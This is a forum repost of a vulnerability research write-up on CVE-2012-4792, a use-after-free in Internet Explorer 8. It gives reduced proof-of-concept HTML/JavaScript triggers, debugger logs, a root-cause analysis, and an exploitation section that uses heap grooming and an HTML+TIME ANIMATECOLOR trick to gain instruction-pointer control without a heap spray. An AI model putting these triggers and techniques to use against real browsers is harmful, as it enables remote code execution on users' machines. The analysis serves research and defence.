-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Everything posted by Nytro
-
Happy New Year Analysis of CVE-2012-4792 A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393 Analysis Exploitation Conclusion Analysis The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data. <!doctype html> <html> <head> <script> function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); var eip = window; var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; eip.location = unescape("AA" + data); } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html> The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened. This resulted in the following windbg log: (a0.3c0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8 eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4ef: 3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05682fa8=???????? 1:022> !heap -p -a edi address 05682fa8 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 5640eb0: 5682000 2000 7c91a1ba ntdll!RtlFreeHeap+0x000000f9 3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f 3cfa0ad9 mshtml!CBase::SubRelease+0x00000022 3cf7e76d mshtml!CElement::PrivateRelease+0x00000029 3cf7a976 mshtml!PlainRelease+0x00000025 3cf9709c mshtml!PlainTrackerRelease+0x00000014 3d7b5194 jscript!VAR::Clear+0x0000005c 3d7b55b9 jscript!GcContext::Reclaim+0x000000ab 3d7b4d08 jscript!GcContext::CollectCore+0x00000113 3d82471d jscript!JsCollectGarbage+0x0000001d 3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137 3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c 3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe 3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff 3d7c12e5 jscript!ScrFncObj::Call+0x0000008f 3d7c1113 jscript!CSession::Execute+0x00000175 1:022> kv ChildEBP RetAddr Args to Child 0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef 0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47 0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f 0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12 0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb 0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183 0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28 0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo]) 0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo]) 0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo]) 0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo]) 0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo]) 0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo]) 0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo]) Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor’”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef. When we look back at the HTML code some of it makes sense e1.appendChild(document.createElement('button')); This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“. If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well. By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs. <!doctype html> <html> <head> <script> function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { Math.atan2(0xbadc0de, "before get element a") e0 = document.getElementById("a"); Math.atan2(0xbadc0de, "before get element b") e1 = document.getElementById("b"); Math.atan2(0xbadc0de, "before create element q") e2 = document.createElement("q"); Math.atan2(0xbadc0de, "before apply element e1( -> e2(q)") e1.applyElement(e2); Math.atan2(0xbadc0de, "before appendChild create element button") e1.appendChild(document.createElement('button')); Math.atan2(0xbadc0de, "before applyElement e1 -> e0") e1.applyElement(e0); Math.atan2(0xbadc0de, "before e2 outertext") e2.outerText = ""; Math.atan2(0xbadc0de, "before e2 appendChild createElement body") e2.appendChild(document.createElement('body')); Math.atan2(0xbadc0de, "All done inside try loop") } catch(e) { } Math.atan2(0xbadc0de, "collecting garbage") CollectGarbage(); Math.atan2(0xbadc0de, "Done collecting garbage") } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html> We now run the poc again. 0:000> sxe ld:jscript 0:000> g ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000 eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 1:025> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", eax;.echo;g" 1:025> bl 0 e 3d7d8f09 0001 (0001) 1:**** jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 2 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", eax;.echo;g" 1:025> g before get element a before get element b before create element q before apply element e1( -> e2(q) before appendChild create element button Created CButton at 05312fa8 before applyElement e1 -> e0 before e2 outertext before e2 appendChild createElement body All done inside try loop collecting garbage Deleting CButton at 3cf70d10 Done collecting garbage (870.bcc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8 eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4ef: 3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05312fa8=???????? We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later. The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post. Lets go back to the crash and see where edi (pointing to the freed memory) comes from. Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem. 0:000> sxe ld:mshtml 0:000> g ModLoad: 3cea0000 3d45e000 C:\WINDOWS\system32\mshtml.dll 1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g" 1:025> bp !mshtml + 0x44224 1:025> bl 0 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 1 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g" 2 e 3cee4224 0001 (0001) 1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc 1:025> g Created CButton at 055eefa8 Deleting CButton at 055eefa8 Breakpoint 2 hit 3cee4224 e80bc30100 call mshtml!CElement::FindDefaultElem (3cf00534) 1:025> t <snip> 3cf00585 56 push esi 3cf00586 8bc3 mov eax,ebx 3cf00588 e84aa20400 call mshtml!CElement::GetParentForm (3cf4a7d7) 1:025> eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8 eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CElement::FindDefaultElem+0x51: 3cf0058d 8bf0 mov esi,eax 3cf0058f 3bf2 cmp esi,edx 3cf00591 0f857e4d1a00 jne mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0] 1:025> 3cf00597 395510 cmp dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000 3cf0059a 0f8569a71f00 jne mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0] 1:025> eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8 eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CElement::FindDefaultElem+0x96: 3cf005a0 8b87a8010000 mov eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8 1:025> dc 04c1a6a8 04c1a6a8 3cfa4f78 00000014 000000b8 00000000 xO.<............ 04c1a6b8 00000000 3cf46c50 04c1a6a8 021e1b8c ....Pl. dds 04c1a6a8 L1 04c1a6a8 3cfa4f78 mshtml!CDoc::`vftable' 1:025> !heap -p -a 04c1a6a8 address 04c1a6a8 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 44cad98: 4c1a6a8 954 - 4c1a000 2000 mshtml!CDoc::`vftable' 7c919c0c ntdll!RtlAllocateHeap+0x00000e64 3ceb29f0 mshtml!CDoc::operator new+0x00000013 3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b 3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f 3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073 3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d 3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080 3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626 3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e 3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c 3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5 3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2 3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5 781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c 78136247 urlmon!CBinding::CallOnProgress+0x00000030 7816180b urlmon!CBinding::InstantiateObject+0x000000b7 1:025> p 3cf005a6 5e pop esi 3cf005a7 5f pop edi 3cf005a8 5b pop ebx 3cf005a9 5d pop ebp 3cf005aa c20c00 ret 0Ch The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location. Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: "c:\Program Files\Internet Explorer\iexplore.exe" http://127.0.0.1/crash.html Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 00400000 0049c000 iexplore.exe ModLoad: 7c900000 7c9b2000 ntdll.dll ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll ModLoad: 3dfd0000 3e1bb000 C:\WINDOWS\system32\iertutil.dll ModLoad: 78130000 78263000 C:\WINDOWS\system32\urlmon.dll ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll (8b0.770): Break instruction exception - code 80000003 (first chance) eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!DbgBreakPoint: 7c90120e cc int 3 0:000> sxe ld:mshtml 0:000> g Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols Executable search path is: (4d8.398): Break instruction exception - code 80000003 (first chance) eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!DbgBreakPoint: 7c90120e cc int 3 1:014> g ModLoad: 3cea0000 3d45e000 C:\WINDOWS\system32\mshtml.dll eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000 eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g" 1:023> bp !mshtml + 0x129f0 1:023> bl 0 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 1 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g" 2 e 3ceb29f0 0001 (0001) 1:**** mshtml!CDoc::operator new+0x13 1:023> sxe ld:jscript 1:023> g Breakpoint 2 hit eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000 eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CDoc::operator new+0x13: 3ceb29f0 c3 ret 1:023> ba w4 eax + 0x1A8 1:023> g ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000 eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1:023> g before get element a before get element b before create element q before apply element e1( -> e2(q) before appendChild create element button Created CButton at 055a2fa8 Breakpoint 3 hit eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8 eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CElement::SetDefaultElem+0x85: 3d07da88 5e pop esi 1:023> ub mshtml!CElement::SetDefaultElem+0x72: 3d07da75 85c0 test eax,eax 3d07da77 740f je mshtml!CElement::SetDefaultElem+0x85 (3d07da88) 3d07da79 6a01 push 1 3d07da7b 8bc7 mov eax,edi 3d07da7d e8d5b7ebff call mshtml!CElement::IsVisible (3cf39257) 3d07da82 85c0 test eax,eax 3d07da84 7402 je mshtml!CElement::SetDefaultElem+0x85 (3d07da88) 3d07da86 893e mov dword ptr [esi],edi 1:023> kv ChildEBP RetAddr Args to Child 0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85 0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb 0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3 0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a 0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f 0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1 0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c 0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39 1:023> dc edi L58/4 055a2fa8 3cf70d10 00000003 00000008 055a4fe8 ...<.........OZ. 055a2fb8 029e5e00 05584fb0 00000012 80096200 .^...OX......b.. 055a2fc8 00000006 04c8cf28 3cf782e0 00000000 ....(...... dds edi L1 055a2fa8 3cf70d10 mshtml!CButton::`vftable' It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object. Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did. Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code. e0 = document.getElementById("a"); Get a reference to the form object e1 = document.getElementById("b"); Get a reference to the dfn object e2 = document.createElement("q"); Create a ‘Q’ element e1.applyElement(e2); Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN e1.appendChild(document.createElement('button')); We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON e1.applyElement(e0); We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON e2.outerText = ""; And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again. e2.appendChild(document.createElement('body')); This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation. Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue. To test this I created the following POC <!doctype html< <html< <head< <script< function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); e_div.appendChild(document.createElement('button')) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement('body')); CollectGarbage(); } </script< </head< <div id="divelm"<</div< <body onload="eval(helloWorld())"< <form id="formelm"< </form< </body< </html< And yes, this causes the same problem. After running this through windbg with some log messages we get the following result 0:000> sxe ld:mshtml 0:000> g 1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g" 1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g" 1:023> bp !mshtml + 0x129f0 1:023> g Breakpoint 2 hit eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000 eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CDoc::operator new+0x13: 3ceb29f0 c3 ret 1:023> ba w4 eax + 0x1A8 ".printf \"Just added the Default Element\";.echo;g" 1:023> sxe ld:jscript 1:023> g ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll 1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" 1:023> g before creating the button and adding it to the div element Created CButton at 05748fa8 Just added the Default Element before adding button to Form before clearing out the div innerHTML adding body element to the div collecting garbage Deleting CButton at 05748fa8 Done collecting garbage (ca4.6b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8 eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4ef: 3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05748fa8=???????? You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward Exploitation Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0×58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space. To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.“ Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached. We added some code to enable the LFH for the CButton element and the added code to replace the freed memory. <!doctype html> <html> <head> <script> function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); for(i =0; i < 20; i++) { document.createElement('button'); } Math.atan2(0xbadc0de, "before creating the button and adding it to the div element") e_div.appendChild(document.createElement('button')) Math.atan2(0xbadc0de, "before adding button to Form") e_div.firstChild.applyElement(e_form); Math.atan2(0xbadc0de, "before clearing out the div innerHTML") e_div.innerHTML = "" Math.atan2(0xbadc0de, "adding body element to the div") e_div.appendChild(document.createElement('body')); Math.atan2(0xbadc0de, "collecting garbage") CollectGarbage(); e_div.className = "\u2424\u2424exodusintel.com--------------------------"; Math.atan2(0xbadc0de, "Done collecting garbage") } </script> </head> <body onload="eval(helloWorld())"> <div id="divelm"></div> <form id="formelm"> </form> </body> </html> running this results in the following crash (f90.bd4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088 eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CMarkup::OnLoadStatusDone+0x504: 3d086271 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:24242500=???????? 1:025> dc edi 00235088 24242424 00780065 0064006f 00730075 $$$$e.x.o.d.u.s. 00235098 006e0069 00650074 002e006c 006f0063 i.n.t.e.l...c.o. 002350a8 002d006d 002d002d 002d002d 002d002d m.-.-.-.-.-.-.-. 002350b8 002d002d 002d002d 002d002d 002d002d -.-.-.-.-.-.-.-. 002350c8 002d002d 002d002d 002d002d 002d002d -.-.-.-.-.-.-.-. 002350d8 002d002d 0000002d eaa7c6ac ff0c0100 -.-.-........... 002350e8 3cf74690 0021f728 002347f8 3cf77870 .F.<(.!..G#.px.< 002350f8 00000001 00000000 01000808 ffffffff ................ Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don't need to force memory disclosure to bypass ASLR and we can rely on a module that doesn't opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn't apply to IE9 I dont mind dropping it here. Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all. For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn't work as expected. <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> . . . <t:ANIMATECOLOR id="myanim"/> . . . by setting the 'values' property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values. animvalues = "\u4141\u4141" while(animvalues.length < 0xDC) { animvalues += animvalues } for(i = 0; i < 21; i++) { animvalues += ";cyan"; } Then we can set the values property to this string and voila, we control EIP directly try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} Because the values are suposed to be legit colors you need to do this in a try-except construct so you don't throw an error and stop the execution of the script. Also, doing this will create some 'noise' with additional allocations being made, but nothing that isn't controllable. Adding this we get the following POC: <!doctype html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> <script> function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); animvalues = "\u4141\u4141" while(animvalues.length < 0xDC) { animvalues += animvalues } for(i = 0; i < 21; i++) { animvalues += ";cyan"; } for(i =0; i < 20; i++) { document.createElement('button'); } e_div.appendChild(document.createElement('button')) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement('body')); CollectGarbage(); try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} } </script> </head> <body onload="eval(helloWorld())"> <t:ANIMATECOLOR id="myanim"/> <div id="divelm"></div> <form id="formelm"> </form> </body> </html> Running this results in: (fbc.a28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880 eip=41414141 esp=0162d798 ebp=0162d80c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 41414141 ?? ??? 1:028> dc eax 001bb0f8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb108 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb118 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb128 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb138 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb148 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 001bb158 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 